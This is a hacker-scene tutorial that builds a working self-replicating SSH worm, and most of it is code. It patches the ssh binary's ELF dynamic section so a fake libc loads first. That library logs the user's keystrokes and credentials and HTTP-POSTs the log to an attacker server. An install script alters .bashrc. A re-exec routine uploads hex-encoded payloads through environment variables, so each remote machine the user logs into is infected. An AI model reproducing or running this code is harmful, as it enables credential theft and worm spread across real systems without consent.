[Wormable SSH] [1. Introduction] This text will present a way to turn ssh client in a very simple worm, which will install itself in remote targets when someone use the corrupted client and authenticates in some remote machine, the main idea of this text is to present a new idea to make the client replicate its behavior in the client of remote machine. [2. Corrupting ssh client] To take over the control of ssh client, it will be used a know and very abused ELF corruption technique, its well described at phrack 61-8[0], regard of being and old technique it still working and most of binaries found still dont explying any protection against this simple technique, at phrack paper, they give an implementation of this simple corruption using his framework called Ceberus Interface, which is capable of doing much more. But will we stick with this one and use a standalone simple implementation which will be released togheter with this text. I recommend all readers to take a look on phrack issue mentioned before, but for a quick description of the technique, the next will be enough to understand what will be happening. ELF dynamic linked programs have a PT_DYNAMIC segment which carry the dynamic section, which have an array of entries related to dynamic linking and other useful information, because is not the goal of paper to explain about ELF details, we just need to know the standard behavior of most compiler will emit a DT_DEBUG entry in dyanamic section, even it never being used or aksed to. The list of libraries some programs need to is listed in entries of type DT_NEEDED, and as we have a useless entry with type DT_DEBUG it is possible to convert the DT_DEBUG entry in a DT_NEEDED entrie, which will make some library of our choice to be needed to load when the program intend to run, the only problem is we should make the DT_NEEDED entry point to a string with the name of the library we want. In the phrack paper itself they show a overcome to this limitation. We can just make it point to a substring of a real used library, so if it used "libc.so" we can reuse the string and make our entry porint to "c.so". As an short examploe of the technique i show this short snippets // Its used to locate the dynamic section and retrive his size and number of // entries for (int i = 0; i < ehdr->e_phnum; i++) { if (phdr[i].p_type == PT_DYNAMIC) { dyn_base = (Elf64_Dyn *)&elf_buff[phdr[i].p_offset]; seg_size = phdr[i].p_filesz; n_entries = phdr[i].p_filesz / sizeof(Elf64_Dyn); break; } } // This part is just to found the dynamic string table where we will catch some // string of library name and reuse it for (int i = 0; i < ehdr->e_shnum; i++) { if (!strcmp(&string_table[shdr[i].sh_name], ".dynstr")) { dynstr_base = (char *)&elf_buff[shdr[i].sh_offset]; break; } } // Here we seek for the DT_DEBUG and DT_NEEDED entries, where target_lib is the // string which represent the real library we want to reuse for (int i = 0; i < n_entries; i++) { if (dyn_base[i].d_tag == DT_NEEDED && !strcmp(&dynstr_base[dyn_base[i].d_un.d_val], target_lib)) dt_needed_index = i; if (dyn_base[i].d_tag == DT_DEBUG) dt_debug_index = i; } // And here the job is done, the DT_DEBUG is converted in a DT_NEEDED entrie // and it will be swapped if needed to be loaded before the real library dyn_base[dt_debug_index].d_tag = DT_NEEDED; if (dt_debug_index > dt_needed_index) { dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val; dyn_base[dt_needed_index].d_un.d_val = dyn_base[dt_debug_index].d_un.d_val+3; } else dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val+3; The full code will be linked later to reference, but the main parts of using the described technique are presented, all of those snippets are applied to memory mapped ssh client binary and then saved to a copy which will be used in the place of the original one. [3. Hooking libc.so] So we have an ssh client which will load a library of our choice first than some some library of our choice too, to make the things clear i choosed to use libc.so.6 so in my case my fake library will be named "c.so.6" to reuse the original string "libc.so.6", in the approach i will take i will need to know the path of original libc.so used by ssh, because it will be needed to dlopen() libc and make the hooked function to work in a transparent way, to insert the original path in the code the simple command line was used when compiling the fake library: cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl \ -DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}') After this part we just made a copy of c.so.6 and corrupted ssh in a path, can be "$HOME/.bin", so we can set PATH and LD_LIBRARY_PATH to the same directory through the .bashrc of the user we are targeting, if we take a look on our corrupted ssh with ldd utility it will seems like this: $ ldd ~/.bin/ssh ... c.so.6 => /home/user/.bin/c.so.6 (0x00007f6b38846000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6b38655000) ... So from now on we have the capability of running anything we want when the target tries to use ssh, in this case the first good thing to make is to provide a way to log the issued commands and even creds used by the target, to accomplish this we will be installing a constructor in our library so it will run before the ssh main code itself, our constructor is as follow: __attribute__((constructor)) void _initf(int ac, char **av) { handle = dlopen(LIBC_PATH, RTLD_LAZY); real_close = (void *)dlsym(handle, "close"); real_write = (void *)dlsym(handle, "write"); real_read = (void *)dlsym(handle, "read"); log_fd = open("/tmp/.sshlog", O_APPEND | O_CREAT | O_RDWR, S_IRWXU); log_fd = dup2(log_fd, 42); } As you can see, nothing to fancy is done, we are just creating a temporary file to log the commands and dupping the file descriptor, because ssh make cleanup on very first fds during his startup code, the other parts is just providing a way to call real function from glibc which will be hooked in our library, all the 3 functions hooked will be listed now. The close() function is being hooked just to prevent the file descriptor associaced with out log file to be closed, so any other case we just call the original close() but direct return success in case a try to close our file. int close(int fd) { if (fd == log_fd) return 0; return real_close(fd); } The most common IO functions read()/write() are begin used to send the input from user and output from ssh to our logfile after doing the real requests using the original function which was saved during the execution of our constructor, theres not much about this logging hooks, these was just a way to test if the hooks will work, a real hook to be used on the wild should format and handle errors in a serious way. ssize_t write(int fd, const void *buf, size_t count) { int ret = (real_write(fd, buf, count)); syscall(__NR_write, log_fd, "[write]:", 8); for (int i = 0; i < ret; i++) if (isprint(((char *)buf)[i]) || ((char *)buf)[i] == '\n') syscall(__NR_write, log_fd, &((char *)buf)[i], 1); syscall(__NR_write, log_fd, "\n", 1); return ret; } ssize_t read(int fd, void *buf, size_t count) { int ret = (real_read(fd, buf, count)); syscall(__NR_write, log_fd, "[read]:", 7); for (int i = 0; i < ret; i++) if (isprint(((char *)buf)[i])) syscall(__NR_write, log_fd, &((char *)buf)[i], 1); syscall(__NR_write, log_fd, "\n", 1); return ret; } Its checked and this method just works to log the input/output from the ssh client to our choosed file, but it will not be useful if all those data just are dropped in the file, because in the worst case we can lost our access to the machine and in this case to the log file too, then its needed to provide a way to send the saved log to another machine. [4. POST log] As stated in the last topic, keeping the logs local to the target machine will not be to useful, to solve this issue we need to do at least two things, the first one is to provide a way to save the logs in a remote machine, in our case we will be doing this doing an HTTP POST of the logs to our server which will just save the file with some random name, the following code is the help function to do the POST: void do_post(void) { host = "10.0.2.2"; sock_fd = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(atoi(port)); addr.sin_addr.s_addr = inet_addr(host); connect(sock_fd, (struct sockaddr *)&addr, sizeof(struct sockaddr)); size += log_statbuf.st_size; sprintf(capsule, "POST http://%s:%s/%s HTTP/1.1\r\n" "Host: %s:%s\r\n" "Accept: */*\r\n" "Content-Type: multipart/form-data; boundary=------------------------4ae6d1de929f9e46\r\n" "Content-Length: %d\r\n" "\r\n" "--------------------------4ae6d1de929f9e46\r\n" "Content-Disposition: form-data; name=\"vxlog\"; filename=\"vxlog.txt\"\r\n" "Content-Type: application/octet-stream\r\n" "\n", host, port, resource, host, port, size); real_write(sock_fd, capsule, strlen(capsule)); sendfile(sock_fd, log_fd, 0, log_statbuf.st_size); real_write(sock_fd, "\n\n--------------------------4ae6d1de929f9e46--\r\n", 48); close(sock_fd); } With the presented function we are now able to dump the log file when needed, through a HTTP POST, which in this implementation send the whole file using the sendfile syscall, regardless this syscall not being the most portable way its easy to just change this code to send the log using another approach. Now we need a way to trigger the the calling do_post() and for this we will use a similar approach to open the log file in the very beginning, but now we will attach this trigger as a destructor function, so when the target is exiting from ssh, we will can close out log file and send back our logs, this is done through the following code: __attribute__((destructor)) void _finif(void) { lseek(log_fd, 0, SEEK_SET); fstat(log_fd, &log_statbuf); do_post(); syscall(__NR_close, log_fd); unlink("/tmp/.sshlog"); } Its done, our corrupted ssh client now can log his input/output and send the data to a remote server where it can be keep safe, at least more safe than just saving it local to target machine, so its somekind cool, but whata hell this simple ssh logger having to do with worm? it will come in next topic. [5. Local install] To compile and install our code to corrupt the ssh and the fake library with our functions to hook libc, i prepared a very simple script, it will not even try to hide the files, the goal here is just to make the corrupted version of ssh client to be used by our target, the script is listed here: #!/bin/bash cc -s -o dynamicorrupt dynamicorrupt.c cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl -DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}') xxd -plain dynamicorrupt | tr -d \\n > dynamicorrupt.hex xxd -plain c.so.6 | tr -d \\n > c.so.6.hex rm -rf $HOME/.bin mkdir $HOME/.bin/ cp *.hex $HOME/.bin/ cp $(which ssh) $HOME/.bin/ ./dynamicorrupt $HOME/.bin/ssh cp c.so.6 $HOME/.bin/ echo "export PATH=$HOME/.bin:$PATH" >> $HOME/.bashrc echo "export LD_LIBRARY_PATH=$HOME/.bin/" >> $HOME/.bashrc export PATH=$HOME/.bin:$PATH export LD_LIBRARY_PATH=$HOME/.bin/ Most parts of the script is very clear, dyanmicorrupt is our code to change DT_DEBUG to DT_NEEDED and the c.so.6 is our fake library, after compiling both we are dumping both in hexadecimal notation to dynamicorrupt.hex and c.so.6.hex respectively, those files dont matter for now, after this we are moving making a copy of real ssh client to $HOME/.bin corrupting the copy and storing the fake library c.so.6 in the same directory. And to make the target to run our corrupted copy of ssh, we are adding two lines in his .bashrc setting PATH and LD_LIBRARY_PATH to search on $HOME/.bin too After the script run once, our target will be using our version of ssh, but it will just keep the logs and send it back to a remote server as described, so we need to add a way to make it install itself to remote machines too. [6. Remote install] To make the remote install possible i choosed to combine a well technique which can be called "reexec" and another one specific to ssh context(but maybe usable in others) The reexec technique is exactly what his name says, the program will be re-executed its seem to be not very useful, but it give us some nice primitives to work with, the primitive which i will be using here is not new, but it seems to be not very abused, it is "change args", so we will be re-executing the ssh with different args which enable us to install our code in the remote machine. Here i will dump the listing of the code which change the args and later give a brief explanations on the parts which need more attention: __attribute__((constructor)) int change_args(int argc, char **argv, char **envp) { int env_size = 0; if (getenv("VXCOOL") == NULL) { char **envar = envp; while (*envar++ != NULL) env_size++; char **new_envp = malloc(sizeof(char *) * env_size + 3); for (int i = 0; i < env_size; i++) new_envp[i] = strdup(envp[i]); new_envp[env_size] = "VXCOOL=true"; new_envp[env_size + 1] = dynamicorrupt_envar(); new_envp[env_size + 2] = lcso_envar(); new_envp[env_size + 3] = NULL; char **new_argv = malloc(sizeof(char *) * (argc + 4)); for (int i = 0; i < argc; i++) new_argv[i] = strdup(argv[i]); new_argv[argc] = "-t"; new_argv[argc + 1] = "-SendEnv"; new_argv[argc + 2] = "rm -rf $HOME/.bin;" "mkdir $HOME/.bin/;" "cp $(which ssh) $HOME/.bin/;" "printenv LC_BIN1 > $HOME/.bin/dynamicorrupt.hex;" "cat $HOME/.bin/dynamicorrupt.hex | xxd -plain -revert > $HOME/.bin/dynamicorrupt;" "chmod +x $HOME/.bin/dynamicorrupt;" "$HOME/.bin/dynamicorrupt $HOME/.bin/ssh;" "printenv LC_BIN2 > $HOME/.bin/c.so.6.hex;" "cat $HOME/.bin/c.so.6.hex | xxd -plain -revert > $HOME/.bin/c.so.6;" "chmod +x $HOME/.bin/c.so.6;" "echo \"export PATH=$HOME/.bin:$PATH\" >> $HOME/.bashrc;" "echo \"export LD_LIBRARY_PATH=$HOME/.bin/\" >> $HOME/.bashrc;" "export PATH=$HOME/.bin:$PATH;" "export LD_LIBRARY_PATH=$HOME/.bin/;" "$SHELL -i;"; new_argv[argc + 3] = NULL; execve("/proc/self/exe", new_argv, new_envp); } else unsetenv("VXCOOL"); return 0; } As expected this function is defined as a constructor, because it need to run before the original code of ssh, and even before the other parts of our own code, the first question which comes is, if the constructor will reexec the program, how it will stop to doing this infinity times? the answer is a environment variable in this case we are using VXCOOL as a flag, if its no setted we need to change args and reexec, if its set we are done and can let the rest of code runs. Now we just need to change the args in a way to let upload our code to the remote machine when target succesfully connect to some machine, and to do this i choosed to upload both, the corruption code and fake library, through environment variables, the way to construct envp and argv is pretty straight but im using a function two function to set the environment variable, i will just one of these because in fact they are the same: char *lcso_envar(void) { char *env_lcso = NULL; struct stat stat_dynamicorrupt; int envsz = 0; char path[128]; sprintf(path, "%s/.bin/c.so.6.hex", getenv("HOME")); int fd = open(path, O_RDONLY); fstat(fd, &stat_dynamicorrupt); env_lcso = malloc(stat_dynamicorrupt.st_size + strlen("LC_BIN2=")); strcpy(env_lcso, "LC_BIN2="); syscall(__NR_read, fd, env_lcso + strlen("LC_BIN2="), stat_dynamicorrupt.st_size); syscall(__NR_close, fd); return env_lcso; } This presented listing is used to set the LC_BIN2 enviroment variable with the hex encoded c.so.6 we have prepared before with our "local install" script, the same approach is used to set the LC_BIN1 with hex encoded dynamicorrupt program. At this point we have what we need setted on these env vars, and ssh have a well switched option to use in our context, which is "-SendEnv", which makes ssh turn the current envrioment variable of user running the program avalaible in the remote machine after the connection is done. I have used the "-t" option to to allocate pseudo terminal, but it was just for using screen in the remote machine during the tests, i dont prepared any serious code to hide the presence of strange behaviors in ssh after the reexec. As you can see, a hardcoded version of "local install" script is being used as a parameter which will be the command executed when the connection is done, the main difference is at this time the code will be dumped from enviroment variables and converted back from hex encoded format to ELF to be used in the remote machine, and after this the default shell from $SHELL env var will be called in a interactive way as "nothing" happened. after this point the remote machine is infected in the same way the local one. So if the remote user connect to another place the same process will be repeated.. and thats all. [Observation] This is just a simple PoC, which obviously is not intended to be used in the wild, but can give some nice ideas, on how to use knowed techniques, how to abuse and combine some techniques and a very simple way to make the infected machine to infect other and so on, i think the new thing here is about to use environment variable as a upload channel which can be used to send, scripts or even programs and source-code too, i did the first version of this, make it to upĺoad the "local install" script and compiling it to install remote, but i changed it for the case the compiler are not available. In fact it can be improved in # ways, but can be used as a start point to play a bit with the Wonderful Worm World. Regards, Anonymous_ [References] [0] http://phrack.org/issues/61/8.html